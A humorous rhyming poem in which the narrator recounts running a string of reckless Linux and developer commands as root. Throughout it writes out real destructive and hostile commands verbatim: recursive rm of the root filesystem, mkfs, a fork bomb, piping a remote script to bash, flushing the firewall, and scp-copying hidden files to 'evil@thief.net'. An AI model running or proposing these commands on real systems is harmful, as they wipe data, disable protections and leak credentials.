In /root I did recklessly dwell,
Typed sudo rm -rf /*, farewell!
Ran chmod -R 777 /etc, oh my plight,
Then curl shady.site | bash late at night.
Piped yes | mkfs, data’s death knell.

Next mv /boot /dev/null, a bold quest,
iptables -F, my firewall suppressed.
I dared wget virus.exe --no-check,
dd if=/dev/random, my disk now a wreck.
Launched :(){ :|:& };:—fork bomb impressed.

echo "0" > /proc/sys/kernel/panic, went wide,
Then boldly ran scripts as root, cast aside.
With scp -r .* evil@thief.net:~,
docker rm -f $(docker ps -aq), carefree.
Each line sealing fate, no caution supplied.

Finally, git push --force origin main,
drop database; typed without shame.
My reckless commands in a file, I reflect,
Yet still boldly npm install --unsafe-perm unchecked.
A tale of commands, and systems I’ve slain.